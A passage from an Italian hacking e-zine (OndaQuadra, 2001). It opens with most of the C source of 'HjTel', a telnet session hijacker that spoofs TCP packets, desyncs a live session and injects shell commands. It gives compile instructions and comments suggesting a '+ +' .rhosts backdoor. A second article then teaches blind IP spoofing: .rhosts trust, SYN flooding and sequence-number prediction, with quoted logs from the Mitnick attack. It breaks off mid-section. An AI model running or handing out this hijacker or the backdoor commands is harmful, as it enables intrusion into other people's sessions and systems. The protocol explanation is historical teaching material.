TCP_HEAD_BASE + sp_tcpoptlen); | | | | newip = (struct IPhdr *) (sp_buffer); | | newip->checksum=0; | | newip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp_ipoptlen)/4); | | newip->type = 0; | | newip->tot_len = htons(IP_HEAD_BASE + TCP_HEAD_BASE + sp_datalen | | + sp_ipoptlen + sp_tcpoptlen); | | newip->ID = htons(12545); | | newip->flag_offset = 0; | | newip->TTL = 255; | | newip->protocol = IPPROTO_TCP; | | newip->saddr = nameResolve(sp_source); | | newip->daddr = nameResolve(sp_dest); | | newip->checksum=in_cksum((unsigned short *) (sp_buffer), | | IP_HEAD_BASE | | + sp_ipoptlen); | | | | bzero((char *) &target, sizeof(struct sockaddr)); | | target.sin_family = AF_INET; | | target.sin_addr.s_addr = nameResolve(sp_dest); | | | | shooten = sendto(sp_fd, (char *)(sp_buffer), sp_datalen + | | TCP_HEAD_BASE | | + IP_HEAD_BASE + sp_ipoptlen, 0, (struct sockaddr *) &target, | | sizeof(struct sockaddr)); | | | | } | | | | int sniff_pk | | (int sniff_fd, char *buffer, int *tcpstart, char *proto) | | { | | struct IPhdr *IP; | | char sniff_buffer[1500]; | | int pack_len; | | | | pack_len = read(sniff_fd, sniff_buffer, MTU); | | if (read > 0) { | | pack_len -=DEV_PREFIX; | | memcpy(buffer, sniff_buffer+DEV_PREFIX, pack_len); | | IP = (struct IPhdr *)buffer; | | if (proto != NULL) *proto = IP->protocol ; | | if(tcpstart != NULL) | | *tcpstart = (IP->verlen & 0xF) << 2; | | } | | return pack_len; | | } | | | | | | /*ok...tutto quello che c'era lì sopra è contenuta nel bellissimo spoofit.h | | di*/ | | /*coder@reptile!*/ | | /*avrei anche fatto prima...ma così pochi se lo sarebbero letto e | | avrebbero*/ | | /* realmente capito!*/ | | /*ora iniziamo la parte finale del codice...il main&co...good work! | | */ | | | | | | int main(int argc, char *argv[]) | | { | | int h,k,cont; | | char CLIENT[100], SERVER[100] ; | | /*fin qui direi che Š chiaro,no:-PP*/ | | int CLIENT_PORT ; | | struct wait_packet pk_info; | | unsigned long spoof_seq, spoof_ack; | | unsigned long old_seq, old_ack; | | unsigned long serv_seq, serv_ack; | | | | char cleaner[]={0x08,0x08,0x08,0x08,0x08,0x08,0x0a,0x0a}; | | /*sono i dati che ci servono per pulire*/ | | | | /*la linea della shell...dove poi mettiamo i nostri dati!*/ | | char evil_data[]="echo \"echo SESSION HACKED BY CITY HUNTER!Pay | | attention next time!!\" >>$HOME/.profile\n"; | | /*la riga sopra è quella fondamentale per i nostri loschi scopi!*/ | | /*Provate a fare qualcosa di simile a "echo + + >>/.rhosts"*/ | | /*lo fece un tipo di nome Mitnick...qualcosa di simile:-)))(ha | | usato*/ | | /* lo spoofing cieco lui)*/ | | if(argc!=4) | | { | | printf("\n\t|**************************************************|"); | | printf("\n\t| Hjtel -Telnet Hijacker- by City Hunter |\n"); | | printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++++|\n"); | | printf("\t| %s CLiENT H0ST TCP P0RT TARGET |\n", | | argv[0]); | | | | printf("\t|**************************************************|\n\n"); | | exit(1); | | } | | strcpy(CLIENT, argv[1]); | | strcpy(SERVER, argv[3]); | | CLIENT_PORT=atoi(argv[2]); | | | | DEV_PREFIX = INTERFACE_PREFIX ; | | if ((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0 ) { | | perror("Non riesco ad aprire il RAW S0CKETS "); | | exit(1); | | } | | fd_recive = if_init(INTERFACE); | | printf("\n\t|************************************************|"); | | printf("\n\t| Hjtel -Telnet Hijacker- by City HUnter |\n"); | | printf("\t|++++++++++++++++++++++++++++++++++++++++++++++++|\n"); | | printf("\t| (si dia inizio alle danze!:-)) |\n"); | | printf("\t|************************************************|\n\n"); | | | | | | for (h=0;h<50;h++) { | | printf(">-------------------------------->\n"); | | printf(" STEP #1 : TELNET Sniff'n'Desync \n"); | | printf("<--------------------------------<\n"); | | | | wait_pk(fd_recive, &pk_info, CLIENT, CLIENT_PORT, SERVER, | | 23, ACK|PSH,0); | | spoof_seq=pk_info.seq + pk_info.datalen; | | spoof_ack=pk_info.ack; | | printf("\nCCCII Sto sniffando la connessione TTTYY\n"); | | printf("%s:%i > %s:23 SEQ:%X (hex) ACK:%X (hex)\n", CLIENT, | | CLIENT_PORT, SERVER, pk_info.seq, pk_info.ack); | | printf("\nHUN Sp00fing to Desync TER\n"); | | printf("Sending TCP packet with SEQ %X ACK %X | | FLAGS:ACK|PSH", | | spoof_seq, spoof_ack); | | trans_tcp(fd_send, cleaner, 0, 0, sizeof(cleaner), CLIENT, | | CLIENT_PORT, SERVER, 23, spoof_seq, spoof_ack, ACK|PSH); | | cont = 0; | | printf("\n\n>LO Waiting f0r Desync_C0nfirm VE<\n"); | | while (cont<5) { | | wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, | | CLIENT_PORT, ACK,0); | | if(pk_info.ack==spoof_seq + sizeof(cleaner)) | | cont=MY_TOUCH; | | else cont++; | | } | | if(cont!=MY_TOUCH) { | | printf("\t<--------------------------------->\n"); | | printf("\t STEP #1 N0T SUCCEDED ... L00PiNG\n"); | | printf("\t<--------------------------------->\n"); | | } | | else { | | printf("### Step #1 0K. ###\n"); | | printf(">>> YEAHHHHHHH <<<\n"); | | break; | | } | | } | | | | printf("\n<------------------------------------<\n"); | | printf(" STEP #2 - GETTING SYN/ACK 0NCE M0RE\n"); | | printf(">------------------------------------>\n"); | | cont = serv_seq = old_ack = 0; | | while(cont<10) { | | old_seq = serv_seq; | | old_ack = serv_ack; | | wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, | | ACK,0); | | if (pk_info.datalen == 0) { | | serv_seq=pk_info.seq + pk_info.datalen; | | serv_ack=pk_info.ack; | | if ((old_seq==serv_seq)&&(serv_ack==old_ack)) | | cont = MY_TOUCH; | | else cont++; | | } | | } | | if(cont!=MY_TOUCH) { | | printf("\t<-------------------------------->\n"); | | printf("\t STEP #2 NOT SUCCEDED. SHIT!!! \n"); | | printf("\t<-------------------------------->\n"); | | exit(0); | | } | | printf("Server SEQ: %X (hex)\tACK: %X (hex)\n", serv_seq, serv_ack); | | printf(">HA Step #2 0K. CK<\n"); | | | | | | printf("\n<----------------------------------------------------<\n"); | | printf(" STEP #3 - SENDING 0UR DATA | | \n"); | | printf(">---------------------------------------------------->\n"); | | printf(">>> HIHIHIHI Injecting Evil Data in the connection <<<\n"); | | trans_tcp(fd_send, evil_data, 0, | | 0,sizeof(evil_data),CLIENT,CLIENT_PORT, | | SERVER, 23, serv_ack, serv_seq, ACK|PSH); | | cont=0; | | printf("\n>>> Waiting for Confirm <<<\n"); | | while(cont<5) { | | wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, | | ACK,0); | | if(pk_info.ack==serv_ack+sizeof(evil_data)) | | cont=MY_TOUCH; | | else cont++; | | } | | if (cont!=MY_TOUCH) { | | printf("\t<--------------------->\n"); | | printf("\t STEP #3 N0T SUCCEDED\n"); | | printf("\t<--------------------->\n\n"); | | exit(0); | | } | | printf("*** STEP #3 0K ***\n\n"); | | printf(" >>> Great Hijacking :-)) <<< \n"); | | printf(" <<< SEE YA GUYS <<<\n"); | | exit(0); | | } | | | | ---------------------------------------taglia acchì-------------------------- | | | | Ok!!!Abbiamo finito! Il codice è stato compilato con successo su Mandrake8.0. | | "gcc -o HjTel HjTel.c" per compilarlo. | | Ultime precisazioni:questo genere di attacco è molto duro da attuare su | | Internet. Se non siete su una LAN avrete vita davvero dura!Quindi il supporto | | ppp è abbastanza inutile,se volete provare questo Telnet Hijacker mettetelo | | sotto Eth. | | Credo di aver finito il tutto...spero abbiate capito qualcosina e per | | qualsiasi | | cosa scrivetemi! | | Ora vado a vedermi le Iene!Ancora una cosa...se create voi qualcosa di | | carino... | | mandatemelo!!!! | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 | | iP SP00FiNG ATTACK [E4zy] 0x08/0x23 | +-------------------------------------------------------------------------------+ | Credits: | | | | Ringrazio tutti coloro che si sono resi disponibili dando il loro contributo | | | | con idee e suggerimenti che si sono rivelati utili nella stesura del | | presente articolo, un ringraziamento particolare va anche a tutti coloro che | | | | mi hanno assecondato nelle mie seghe mentali sui protocolli, grazie zapotecz | | | | :)) | | Un grande fuck va invece al lamer che di fronte a una mia domanda ha reagito | | | | in questo modo: | | | | devo isolare la formula che permette di predire un numero sequenziale | | in una sessione spoofed | | <[Gi0bbE]> E4zy: come cazzo parli? | | *** E4zy was kicked by [Gi0bbE] | | | | E poi ci lamentiamo dell'underground italiano... | | Finito questo sfogo personale passiamo all'articolo :) | | | | Indice: | | | | 1. Relazioni di fiducia | | 1.1 In cosa consistono (.rhosts) | | 1.2 Come trovarle (showmount -e, rpcinfo) | | 1.2.1 Esempio | | | | 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) | | | | 3. TCP/IP | | 3.1 Schema intestazione TCP | | 3.2 Handshaking a tre vie del TCP | | 3.3 Numero sequenziale iniziale (ISN) | | | | 4. IP Spoofing | | 4.1 SYN flood | | 4.1.1 Esempio | | 4.2 Predizione del numero sequenziale | | 4.2.1 Esempio | | 4.3 Impersonificazione dell'host di fiducia | | 4.3.1 Esempio | | | | 5. Backdoor | | 5.1 Esempio | | | | 6. Parte pratica | | 6.1 Uso di Nmap e del programma Mendax | | | | 7. Contromisure | | | | | | 1. Relazioni di fiducia | | Il file .rhosts gestisce l'accesso remoto al proprio account utente, sarà | | sufficiente creare un file con tale nome opportunamente configurato e | | posizionarlo nella propria home directory per dar modo agli utenti remoti di | | | | loggarsi al sistema senza bisogno di fornire password alcuna. Questo sistema | | | | di autenticazione è appunto basato sull'ip address che assume un ruolo di | | garante nella procedura di login. | | | | 1.1 In cosa consistono (.rhosts) | | La creazione di un file .rhosts è una procedura sin troppo banale, si crei | | un file di nome .rhosts e lo si posizioni all'interno della propria home | | directory, sarà sufficiente inserire al suo interno quanto segue: | | | | hostname username | | | | Dove "hostname" e "username" sono rispettivamente l'hostname e l'username | | del sistema remoto a cui concediamo l'accesso. L'impiego di un client rlogin | | | | permette l'autenticazione senza password. | | | | 1.2 Come trovarle (showmount -e, rpcinfo) | | Comandi come finger, showmount e rpcinfo possono rivelare informazioni utili | | | | nell'individuazione di sistemi che godano di una relazione di fiducia con | | l'host target. | | | | 1.2.1 Esempio | | Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence | | attack" | | | | "The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The | | first probes were from toad.com (this info derived from packet logs): | | | | 14:09:32 toad.com# finger -l @target | | 14:10:21 toad.com# finger -l @server | | 14:10:50 toad.com# finger -l root@server | | 14:11:07 toad.com# finger -l @x-terminal | | 14:11:38 toad.com# showmount -e x-terminal | | 14:11:49 toad.com# rpcinfo -p x-terminal | | 14:12:05 toad.com# finger -l root@x-terminal | | | | The apparent purpose of these probes was to determine if there might be some | | | | kind of trust relationship amongst these systems which could be exploited | | with an IP spoofing attack. The source port numbers for the showmount and | | rpcinfo indicate that the attacker is root on toad.com." | | | | 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho) | | Quella che segue è la sintassi per esteso del comando rlogin, le parentesi | | quadre indicano opzionalità: | | | | rlogin hostname [-l username] | | | | Dall'esecuzione del comando rlogin ne deriverà l'autenticazione sul sistema | | remoto basata sull'indirizzo ip del sistema richiedente il servizio, sarà a | | questo punto possibile eseguire comandi godendo dei privilegi associati | | all'utente. | | | | 3. TCP/IP | | Il TCP (Transmission Control Protocol) è responsabile delle comunicazioni | | orientate alla connessione su una rete TCP/IP. Per garantire un buon livello | | | | di attendibilità della comunicazione, durante una sessione TCP i due host si | | | | servono di numeri sequenziali e di conferme per assicurare un corretto | | trasferimento dei pacchetti (connesso e confermato). | | La maggior parte del traffico è incapsulato in intestazioni IP (Internet | | Protocol), esso offre la consegna di informazioni senza connessione e senza | | garanzia (non connesso e non confermato), significa che il protocollo IP non | | | | provvede ad effettuare alcun controllo sulle informazioni inviate. Ne | | consegue che i pacchetti potrebbero non giungere a destinazione o arrivare | | in ordine non sequenziale. Questo rende facile sovvertire tale protocollo | | allo scopo di forgiare pacchetti aventi indirizzo sorgente arbitrario. | | | | 3.1 Schema intestazione TCP | | Tratto dall'RFC 793 "Transmission Control Protocol" | | | | | | 0 1 2 3 | | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Source Port | Destination Port | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Sequence Number | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Acknowledgment Number | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Data | |U|A|P|R|S|F| | | | | Offset| Reserved |R|C|S|S|Y|I| Window | | | | | |G|K|H|T|N|N| | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Checksum | Urgent Pointer | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Options | Padding | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | data | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | | | | 3.2 Handshaking a tre vie del TCP | | Quando un host mittente (M) vuole stabilire una connessione TCP con un host | | destinatario (D), quest'ultimo deve acconsentire affinchè la comunicazione | | abbia luogo. Questo meccanismo è conosciuto con il nome di handshaking a tre | | | | vie del TCP, si possono isolare tre fasi: | | | | 1) L'host che desidera stabilire una sessione invia all'host destinatario un | | | | pacchetto TCP con il flag SYN pari a 1. Invia inoltre il proprio numero | | sequenziale iniziale (ISN) all'host destinatario. | | 2) L'host destinatario nel caso decida di accettare la richiesta di | | connessione risponde con una conferma impostando i flag SYN e ACK pari a 1. | | Il campo acknowledgment number viene impostato pari al valore dell'ISN | | ricevuto precedentemente incrementato di uno. Invia inoltre il proprio | | numero sequenziale iniziale (ISN) all'host mittente. | | 3) L'host mittente risponde ancora una volta all'host destinatario con un | | pacchetto TCP con il flag ACK uguale a 1 e il campo acknowledgment number | | impostato pari al valore dell'ISN dell'host destinatario ricevuto in | | precedenza incrementato di uno. | | | | | | 1 M --> D SYN=1, ISN=100 | | | | 2 M <-- D SYN=1, ACK=1, ack=101, ISN=250 | | | | 3 M --> D ACK=1, ack=251 | | | | M = mittente | | D = destinatario | | | | | | 3.3 Numero sequenziale iniziale (ISN) | | Il valore dell'ISN viene impostato pari a 1 al momento del boot del sistema, | | | | esso cambia il proprio valore in base la tempo trascorso da tale operazione, | | | | più precisamente il generatore di ISN incrementa il valore del sequence | | number di 128.000 ogni secondo e di 64.000 ad ogni nuova connessione | | instaurata. | | | | 4. IP Spoofing | | Il primo passo consiste nello scegliere un sistema bersaglio, si individuino | | | | gli host che godano di una relazione di fiducia con l'host bersaglio, è | | necessario disabilitare l'host di fiducia tramite un attacco SYN flood, a | | questo punto si procede al campionamento dell'ISN dell'host bersaglio allo | | scopo di facilitare la predizione di tale numero durante l'instaurazione | | della sessione spoofed, una volta instaurata la connessione ad un servizio | | che richiede l'autenticazione mediante IP address avremo la possibilità di | | eseguire una backdoor sul sistema bersaglio che ci garantirà un accesso | | agevole in futuro. | | Questa tecnica è conosciuta anche con il termine di "attacco cieco" questo è | | | | dovuto al fatto che l'IP spoofing non ci permette di instaurare una | | connessione bidirezionale con l'host bersaglio, di fatto tutto il traffico | | di ritorno sarà instradato verso l'host di fiducia che sarà impossibilitato | | nel fornire qualsiasi risposta. | | | | 4.1 SYN flood | | Una volta trovato un host che goda di relazioni di fiducia nei confronti di | | un potenziale sistema bersaglio bisogna metterlo nelle condizioni di non | | poter rispondere al traffico di ritorno generato nel momento in cui lo | | impersoneremo allo scopo di instaurare una sessione spoofed. Se l'host di | | fiducia ricevesse un SYN/ACK dall'host bersaglio risponderebbe con un RST | | che manderebbe tutto a monte. Noi non vogliamo che questo accada, vero? :) | | Per ovviare a tale problema provvederemo a inondare (flooding) l'host che | | gode di relazioni di fiducia con una grossa quantità di richieste di SYN | | (richiesta di connessione) senza chiudere l'handshake ovvero una volta | | ricevuto il SYN/ACK dall'host remoto non forniremo alcun ACK lasciando la | | connessione in uno stato di attesa. Questo risulterà nell'esaurimento della | | coda adibita alle connessioni in stato di attesa, di conseguenza ogni altra | | connessione verrà ignorata. | | | | 4.1.1 Esempio | | Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence | | attack" | | | | "About six minutes later, we see a flurry of TCP SYNs (initial connection | | requests) from 130.92.6.97 to port 513 (login) on server. The purpose of | | these SYNs is to fill the connection queue for port 513 on server with | | "half-open" connections so it will not respond to any new connection | | requests. In particular, it will not generate TCP RSTs in response to | | unexpected SYN-ACKs. | | | | As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login | | can now be safely used as the putative source for an address spoofing attack | | | | on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be a random | | (forged) unused address (one that will not generate any response to packets | | sent to it): | | | | | | 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) | | win 4096 | | 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) | | win 4096 | | 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) | | win 4096 | | 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) | | win 4096 | | 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) | | win 4096 | | 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) | | win 4096 | | 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) | | win 4096 | | 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) | | win 4096 | | 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) | | win 4096 | | 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) | | win 4096 | | 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) | | win 4096 | | 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) | | win 4096 | | 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) | | win 4096 | | 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) | | win 4096 | | 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) | | win 4096 | | 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) | | win 4096 | | 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) | | win 4096 | | 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) | | win 4096 | | 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) | | win 4096 | | 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) | | win 4096 | | 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) | | win 4096 | | 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) | | win 4096 | | 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) | | win 4096 | | 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) | | win 4096 | | 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) | | win 4096 | | 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) | | win 4096 | | 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) | | win 4096 | | 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) | | win 4096 | | 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) | | win 4096 | | 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) | | win 4096 | | | | server generated SYN-ACKs for the first eight SYN requests before the | | connection queue filled up. server will periodically retransmit these | | SYN-ACKs as there is nothing to ACK them." | | | | 4.2 Predizione del numero sequenziale | | L'attacker a questo punto stabilisce un gran numero di connessioni con il | | sistema bersaglio allo scopo di campionare la generazione degli ISN da parte | | | | dell'host remoto, questo gli consentirà di predire con sufficiente | | precisione l'ISN della sessione spoofed che si appresta a instaurare. Un | | ulteriore fattore che influisce sulla predizione dell'ISN è rappresentato | | dal valore del round trip time (RTT) ovvero il tempo necessario affinchè il | | pacchetto compia il tragitto che separa la propria postazione dall'host | | bersaglio e torni indietro. | | Avendo il valore di un ISN precedentemente campionato, il tempo trascorso da | | | | tale campionamento, tenendo conto che il numero sequenziale viene | | incrementato di 128.000 ogni secondo e che un pacchetto necessita di un | | tempo pari alla metà del RTT per compiere il tragitto che separa i due host, | | | | è possibile predire l'ISN del sistema bersaglio. | | E' bene tenere presente che l'instaurazione di una connessione su una | | qualsiasi delle porte del sistema vanificherebbe la predizione dell'ISN che | | vedrebbe incrementato di 64.000 il proprio valore. | | | | 4.2.1 Esempio | | Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence | | attack" | | | | "We now see 20 connection attempts from apollo.it.luc.edu to | | x-terminal.shell. The purpose of these attempts is to determine the behavior | | | | of x-terminal's TCP sequence number generator. Note that the initial | | sequence numbers increment by one for each connection, indicating that the | | SYN packets are *not* being generated by the system's TCP implementation. | | This results in RSTs conveniently being generated in response to each | | unexpected SYN-ACK, so the connection queue on x-terminal does not fill up: | | | | 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S | | 1382726990:1382726990(0) win 4096 | | 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S | | 2021824000:2021824000(0) ack 1382726991 win 4096 | | 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R | | 1382726991:1382726991(0) win 0 | | 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S | | 1382726991:1382726991(0) win 4096 | | 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S | | 2021952000:2021952000(0) ack 1382726992 win 4096 | | 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R | | 1382726992:1382726992(0) win 0 | | 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R | | 1382726992:1382726992(0) win 0 | | 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S | | 1382726992:1382726992(0) win 4096 | | 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S | | 2022080000:2022080000(0) ack 1382726993 win 4096 | | 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R | | 1382726993:1382726993(0) win 0 | | 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S | | 1382726993:1382726993(0) win 4096 | | 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S | | 2022208000:2022208000(0) ack 1382726994 win 4096 | | 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R | | 1382726994:1382726994(0) win 0 | | 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S | | 1382726994:1382726994(0) win 4096 | | 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S | | 2022336000:2022336000(0) ack 1382726995 win 4096 | | 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R | | 1382726995:1382726995(0) win 0 | | 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S | | 1382726995:1382726995(0) win 4096 | | 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S | | 2022464000:2022464000(0) ack 1382726996 win 4096 | | 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R | | 1382726996:1382726996(0) win 0 | | 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S | | 1382726996:1382726996(0) win 4096 | | 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S | | 2022592000:2022592000(0) ack 1382726997 win 4096 | | 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R | | 1382726997:1382726997(0) win 0 | | 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R | | 1382726997:1382726997(0) win 0 | | 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S | | 1382726997:1382726997(0) win 4096 | | 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S | | 2022720000:2022720000(0) ack 1382726998 win 4096 | | 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R | | 1382726998:1382726998(0) win 0 | | 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S | | 1382726998:1382726998(0) win 4096 | | 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S | | 2022848000:2022848000(0) ack 1382726999 win 4096 | | 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R | | 1382726999:1382726999(0) win 0 | | 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S | | 1382726999:1382726999(0) win 4096 | | 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S | | 2022976000:2022976000(0) ack 1382727000 win 4096 | | 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R | | 1382727000:1382727000(0) win 0 | | 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S | | 1382727000:1382727000(0) win 4096 | | 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S | | 2023104000:2023104000(0) ack 1382727001 win 4096 | | 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R | | 1382727001:1382727001(0) win 0 | | 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S | | 1382727001:1382727001(0) win 4096 | | 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S | | 2023232000:2023232000(0) ack 1382727002 win 4096 | | 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R | | 1382727002:1382727002(0) win 0 | | 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S | | 1382727002:1382727002(0) win 4096 | | 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S | | 2023360000:2023360000(0) ack 1382727003 win 4096 | | 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R | | 1382727003:1382727003(0) win 0 | | 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S | | 1382727003:1382727003(0) win 4096 | | 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S | | 2023488000:2023488000(0) ack 1382727004 win 4096 | | 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R | | 1382727004:1382727004(0) win 0 | | 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S | | 1382727004:1382727004(0) win 4096 | | 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S | | 2023616000:2023616000(0) ack 1382727005 win 4096 | | 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R | | 1382727005:1382727005(0) win 0 | | 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S | | 1382727005:1382727005(0) win 4096 | | 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S | | 2023744000:2023744000(0) ack 1382727006 win 4096 | | 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R | | 1382727006:1382727006(0) win 0 | | 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S | | 1382727006:1382727006(0) win 4096 | | 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S | | 2023872000:2023872000(0) ack 1382727007 win 4096 | | 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R | | 1382727007:1382727007(0) win 0 | | 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S | | 1382727007:1382727007(0) win 4096 | | 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S | | 2024000000:2024000000(0) ack 1382727008 win 4096 | | 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R | | 1382727008:1382727008(0) win 0 | | 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S | | 1382727008:1382727008(0) win 4096 | | 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S | | 2024128000:2024128000(0) ack 1382727009 win 4096 | | 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R | | 1382727009:1382727009(0) win 0 | | 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S | | 1382727009:1382727009(0) win 4096 | | 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S | | 2024256000:2024256000(0) ack 1382727010 win 4096 | | 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R | | 1382727010:1382727010(0) win 0 | | | | Note that each SYN-ACK packet sent by x-terminal has an initial sequence | | number which is 128,000 greater than the previous one." | | | | 4.3 Impersonificazione dell'host di fiducia | | | | 1) L'attacker manda un pacchetto TCP con flag SYN attivo (richiesta di | | connessione), l'header del pacchetto IP è contraffatto e riporta nel campo | | source address l'ip del sistema che gode di una relazione di fiducia nei 